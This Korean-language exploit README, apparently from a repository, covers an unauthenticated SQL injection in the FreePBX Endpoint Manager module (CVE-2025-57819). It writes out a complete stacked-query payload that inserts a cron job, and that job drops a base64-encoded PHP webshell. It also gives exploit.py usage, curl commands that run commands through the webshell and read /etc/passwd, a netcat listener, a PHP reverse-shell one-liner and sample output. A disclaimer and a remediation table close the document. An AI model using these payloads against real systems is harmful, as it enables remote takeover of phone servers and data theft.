
FreePBX Endpoint Manager에서 인증되지 않은 SQL 인젝션(CVE-2025-57819)이 있으며, cron으로 예약된 PHP 웹셸을 주입하여 원격 코드 실행을 가능하게 합니다.
FreePBX는 Asterisk PBX를 위한 오픈소스 웹 GUI로, 기업용 전화 환경에서 널리 배포됩니다. 엔드포인트 매니저 모듈은 /admin/ajax.php에서 AJAX 핸들러를 노출하며, 이 핸들러는 brand 매개변수를 받아 SQL 쿼리에 직접 삽입합니다(살균 처리 없음). 인증되지 않은 원격 공격자는 임의의 SQL을 주입하고, cron_jobs 테이블에 행을 삽입한 후, FreePBX cron 데몬이 웹 루트에 실행 가능한 PHP 웹쉘을 쓰도록 하여 약 1분 이내에 인증되지 않은 원격 코드 실행을 달성할 수 있습니다.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2025-57819 |
| CVSS 점수 | 9.8 (Critical) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — SQL 명령 내 특수 요소의 부적절한 중립화 |
| 구성 요소 | FreePBX 엔드포인트 매니저 모듈 |
| 영향 | FreePBX 17.x (패치되지 않음) |
| 패치됨 | FreePBX 17.x (패치됨) |
| 공격 벡터 | 네트워크 — 인증 불필요 |
취약한 요청은 엔드포인트 매니저의 AJAX 명령 핸들러를 대상으로 합니다:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
brand 매개변수는 이스케이프나 준비된 구문 없이 SQL 쿼리에 연결됩니다. 공격자는 쿼리 문자열을 종료하고 두 번째 문을 추가합니다:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
주입된 cron 항목은 매분 웹 서버/Asterisk 프로세스 소유자로 실행되어 다음 내용을 /var/www/html/webshell.php에 기록합니다:
<?php system($_GET[cmd]); ?>
이로 인해 HTTP를 통해 인증되지 않은 OS 명령 실행이 가능해집니다.
엔드포인트 매니저 AJAX 핸들러는 매개변수화된 쿼리 대신 문자열 포맷팅을 사용하여 SQL을 동적으로 구성합니다. brand 필드는 SELECT 문에 포함되기 전에 검증이나 이스케이프 처리되지 않으므로, 쉽게 주입 가능합니다.
공격자 ──GET (SQL 인젝션)──▶ /admin/ajax.php ──INSERT──▶ cron_jobs 테이블
│
FreePBX cron 데몬 (≤60초) │
▼
공격자 ──GET ?cmd=id──────────▶ /webshell.php ◀── 작성됨 ── cron 실행
pip install requests urllib3
-t, --target 대상 IP 주소 또는 호스트명 (필수)
--timeout 대상 가용성을 기다리는 시간(초) (기본값: 30)
--delay cron 작업 실행을 기다리는 시간(초) (기본값: 65)
1. 대상에 대해 익스플로잇 실행:
# 기본 — cron 작업 실행을 위해 65초 대기
python3 exploit.py -t <IP>
# 호스트명 사용
python3 exploit.py -t connected.htb
# 느린 대상의 경우 cron 대기 시간 연장
python3 exploit.py -t <IP> --delay 90
2. 웹쉘이 확인되면 직접 상호작용:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. 웹쉘을 통해 리버스 셸로 업그레이드:
자신의 머신에서 리스너 시작:
nc -lvnp <LOCAL_PORT>
그런 다음 cmd 매개변수를 통해 PHP 리버스 셸 트리거 (URL 인코딩):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
cmd로 전송된 URL 디코딩된 페이로드는:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · SQL Injection → Cron Webshell ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
CVE ID : CVE-2025-57819
Component : FreePBX Endpoint Module
Affected : unpatched 17.x → Patched: patched 17.x
CVSS Score : 9.8 (Critical)
CVSS Vector : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — SQL Injection
Type : Unauthenticated SQL Injection → Cron-scheduled PHP Webshell
Reference : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probing target <IP> (max 30s) ...
14:03:12 [+] Target is alive — HTTP 200
14:03:12 [*] Inject endpoint : http://<IP>/admin/ajax.php
14:03:12 [!] Injecting cron job via SQL injection ...
14:03:12 [+] Injection request sent
14:03:12 [*] Waiting 65s for cron job to fire ...
14:04:17 [*] Probing webshell at http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell is active — command output:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] Webshell URL: http://<IP>/webshell.php?cmd=<command>
14:04:17 [+] Exploit routine complete.
시간 참고. 기본
--delay65초는 cron 데몬(매분 시작 시 실행)이 주입된 작업을 실행할 기회를 최소 한 번 가지도록 보장합니다. 느린 대상에서는--delay 90또는--delay 120으로 늘리십시오.
이 익스플로잇은 교육 목적 및 승인된 보안 테스트를 위해서만 제공됩니다. 소유하거나 명시적인 서면 허가를 받은 시스템에 대해서만 사용하십시오. 승인되지 않은 사용은 불법이며 비윤리적입니다.
| 우선순위 | 조치 |
|---|
| Critical | 즉시 CVE-2025-57819에 대한 FreePBX 공급업체 패치 적용 |
| Critical | 기존의 /var/www/html/webshell.php 아티팩트 제거 |
| High | /admin/ajax.php에 대한 접근을 인증된 신뢰할 수 있는 네트워크 출처로 제한 |
| High | 엔드포인트 매니저의 모든 SQL 쿼리 감사 및 살균 — 준비된 구문 사용 |
| Medium | cron_jobs 테이블 제한: INSERT할 수 있는 역할 제한 |
| Medium | AJAX 엔드포인트에서 스택 쿼리 패턴을 차단하는 WAF 규칙 적용 |
| Low | FreePBX/Asterisk 프로세스를 웹 루트에 쓰기 권한이 없는 최소 권한 계정으로 실행 |